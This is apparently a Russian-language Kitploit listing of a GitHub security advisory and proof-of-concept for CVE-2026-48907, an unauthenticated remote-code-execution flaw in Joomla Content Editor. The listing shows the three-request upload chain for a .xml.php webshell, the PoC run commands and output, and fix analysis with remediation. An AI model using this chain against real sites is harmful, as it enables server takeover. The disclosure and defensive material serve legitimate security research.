Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/grayxploit/cve-2026-48907
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

Эксплойт Proof-of-concept и технический анализ для CVE-2026-48907, уязвимости удаленного выполнения кода до аутентификации с CVSS 10.0 в Joomla Content Editor (JCE). Включает цепочку атак из 3 запросов и подробный разбор исправления.

Репозиторий
32 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-48907 — Неавторизованный RCE в Joomla Content Editor (JCE) ≤ 2.9.99.4

Proof-of-concept эксплойт для CVE-2026-48907 — уязвимость удаленного выполнения кода (RCE) с рейтингом CVSS 10.0 без аутентификации в расширении Joomla Content Editor (JCE).
Исследование Grayxploit Security Team

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

Оглавление

  • Обзор
  • Затронутые версии
  • Детали уязвимости
  • Сценарий атаки
  • Доказательство концепции
  • Анализ исправления
  • Устранение
  • Хронология
  • Ссылки
  • Отказ от ответственности

Обзор

CVE-2026-48907 — это критическая уязвимость удаленного выполнения кода (RCE) без аутентификации, затрагивающая расширение Joomla Content Editor (JCE) — наиболее широко используемый редактор Joomla — во всех версиях до 2.9.99.4 включительно.

Объединив три независимые слабости безопасности в рабочем процессе импорта профилей JCE, полностью неаутентифицированный злоумышленник может:

  • Загрузить произвольный PHP-веб-шелл в каталог сервера /tmp/
  • Инициировать выполнение этого веб-шелла по протоколу HTTP
  • Получить полный удаленный доступ к выполнению кода (RCE) без учетных данных, без взаимодействия с пользователем и без особого сетевого положения

Атака требует всего 3 HTTP-запроса и работает против любой стандартной установки Joomla с уязвимой версией JCE.

CVSS v4 Score: 10.0 — Critical

Обнаружено и публично раскрыто командой безопасности Grayxploit после ответственного раскрытия.


Затронутые версии

Программное обеспечениеУязвимые версииИсправленная версия
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (рекомендуется)

Примечание: В версии 2.9.99.5 внедрено основное исправление. Версия 2.9.99.6 добавляет дополнительные уровни защиты. Обновитесь до 2.9.99.6 или новее.


Детали уязвимости

Уязвимость возникает в конечной точке импорта профилей JCE:

root@kitploit:~
POST /index.php?option=com_jce&task=profiles.import

JCE позволяет администраторам экспортировать и импортировать профили редактора в виде XML-файлов. Обработчик импорта доступен без аутентификации и принимает произвольные загрузки файлов из-за цепочки трех независимых слабых мест.

Слабость 1 — Отсутствие авторизации (CWE-862)

Контроллер импорта не выполнял проверку ACL:

root@kitploit:~
public function import()
{
    // Единственная защита: CSRF-токен — легко обходится
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … сразу переходит к обработке файла — вызов authorise() отсутствует
}

Joomla встраивает CSRF-токен в каждую публичную страницу как мета-тег или JS-переменную:

root@kitploit:~
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

Злоумышленник просто загружает главную страницу, извлекает токен и использует его повторно. Проверка CSRF предотвращает межсайтовые запросы — она не предотвращает прямые скриптовые запросы. В пути импорта не было вызовов Factory::getUser() или $user->authorise(...).


Слабость 2 — Отсутствие проверки расширения файла (CWE-434)

Обработчик загрузки использовал File::makeSafe(), который только удаляет недопустимые символы файловой системы — он не проверяет и не ограничивает расширения файлов:

root@kitploit:~
$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // удаляет только недопустимые символы

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

Имя файла, например shell.xml.php, проходит File::makeSafe() без изменений. Apache с mod_php выполняет его, так как последнее распознанное расширение — .php. Расширения типа .php, .php5, .phtml и двойные варианты были приняты.


Слабость 3 — File::upload() вызван с $allow_unsafe = true (CWE-116)

Встроенный в File::upload() Joomla черный список расширений блокирует опасные типы файлов, когда $allow_unsafe = false (по умолчанию):

root@kitploit:~
// Сигнатура Joomla File::upload()
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

Уязвимый код JCE явно отключал эту защиту:

root@kitploit:~
// УЯЗВИМО — небезопасные загрузки явно разрешены
File::upload($source, $destination, false, true);

Этот единственный логический флаг отключал весь внутренний черный список расширений Joomla, позволяя записывать на диск .php, .php5, .phtml и все другие исполняемые расширения.


Сценарий атаки

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← Извлечение csrf_token из HTML/JS                          │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --граница                                                   │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --граница                                                   │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --граница                                                   │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --граница--                                                │
│                                                                 │
│     ← 200 OK (файл записан в /var/www/html/tmp/)               │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← Ответ: "3105"  (45 × 69 = RCE подтвержден ✓)             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  Нет файлов cookie сессии. Нет имени пользователя. Нет пароля. 3 HTTP-запроса.

Доказательство концепции

⚠️ Этот PoC предоставлен строго для авторизованных исследований безопасности и тестирования на проникновение. Не используйте его против любой системы без явного письменного разрешения. Неавторизованное использование незаконно и неэтично.

Требования

root@kitploit:~
pip3 install requests

Использование

root@kitploit:~
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

Ожидаемый вывод (уязвимая цель)

[] Target : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...

[+] CSRF token: abcdef1234567890abcdef1234567890

[] Step 2 — Uploading payload...

[+] Upload response: HTTP 200

[*] Step 3 — Triggering payload execution...

[+] Response: 3105

[CRITICAL] RCE CONFIRMED — CVE-2026-48907

Target http://localhost:9999 is VULNERABLE


Анализ исправления

Все три слабости были исправлены в JCE 2.9.99.5, а дополнительные укрепления выпущены в 2.9.99.6.

Исправление 1 — Добавлена проверка авторизации (Устранение CWE-862)

controller/profiles.php:

root@kitploit:~
$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

Гостевые пользователи (id = 0) немедленно проваливают authorise(). Запрос отклоняется до обработки файла.

Исправление 2 — Строгий белый список расширений (Устранение CWE-434)

models/profile.php:

root@kitploit:~
$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION возвращает только последнее расширение. shell.xml.php → php → отклонено. Нейтрализует все обходы с множественными расширениями.

Исправление 3 — Удален небезопасный флаг (Устранение CWE-116)

root@kitploit:~
// До (уязвимо)
File::upload($source, $destination, false, true);

// После (исправлено)
File::upload($source, $destination, false);

Внутренний черный список расширений Joomla снова активирован как независимый уровень защиты.

Дополнительное укрепление в версии 2.9.99.6

ИсправлениеПодробности
Ограничение размера загрузкиОтклонять файлы > 512 КБ
Защита от XXElibxml_disable_entity_loader(true) перенесено на PHP 7.x
Белый список XML-полейОбрабатываются только известные безопасные XML-ключи; произвольные ключи молча игнорируются

Устранение

ПриоритетДействие
🔴 НемедленноОбновить JCE до ≥ 2.9.99.6
🟠 ВысокийЗаблокировать или ограничить веб-доступ к /tmp/ на уровне сервера
🟠 ВысокийОтключить выполнение PHP во временных каталогах через .htaccess или конфигурацию сервера
🟡 СреднийДобавить правило WAF для предупреждения/блокировки com_jce&task=profiles.import от неаутентифицированных сессий
🟡 СреднийПроверить другие расширения Joomla на предмет File::upload(..., true) без проверки расширения

Отключение PHP в /tmp/ через .htaccess

root@kitploit:~
<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

Хронология

ДатаСобытие
2026-05-XXУязвимость обнаружена командой Grayxploit
2026-05-XXОтветственное раскрытие отправлено мейнтейнерам JCE
2026-06-XXCVE-2026-48907 присвоен MITRE
2026-06-XXВыпущена JCE 2.9.99.5 — основное исправление
2026-06-12Выпущена JCE 2.9.99.6 — дополнительное укрепление
2026-06-12Публичное раскрытие Grayxploit

Ссылки

  • NVD — CVE-2026-48907
  • Блог Grayxploit — Полный отчет
  • Официальный сайт JCE
  • Уведомление безопасности Joomla
  • CWE-862: Отсутствие авторизации
  • CWE-434: Неограниченная загрузка файла опасного типа

Отказ от ответственности

Этот репозиторий предназначен исключительно для авторизованных исследований безопасности, обучения и тестирования на проникновение систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.

Команда Grayxploit не несет ответственности за любое неавторизованное, незаконное или вредоносное использование кода или информации, предоставленной в этом репозитории.

Используйте ответственно. Тестируйте законно.


Лицензия

Этот проект лицензирован в соответствии с лицензией MIT.


   



Нашли это полезным? Проявите признательность.

Каждая звезда помогает этому исследованию достичь большего числа защитников, пентестеров и синих команд, которым это нужно.


   




О Grayxploit

Grayxploit — независимая команда исследователей безопасности, специализирующаяся на обнаружении уязвимостей, разработке эксплойтов и ответственном раскрытии информации на веб-платформах, в экосистемах CMS и открытом программном обеспечении.

Мы находимМы раскрываемВы защищаетесь
RCE без аутентификацииОтветственно и публичноС нашим подробным анализом исправлений
Логические ошибкиС полным разбором первопричинИспользуя наши PoC безопасно

Есть совет или хотите сотрудничать? Откройте Issue или свяжитесь через наш профиль GitHub.



CVE-2026-48907 — Оригинальное исследование

🔐 Grayxploit Security Team

Разрушаем системы. Ответственно.


Скачать инструмент
Цепочки уязвимостейДо начала массовой эксплуатацииБыстрее, чем угрозы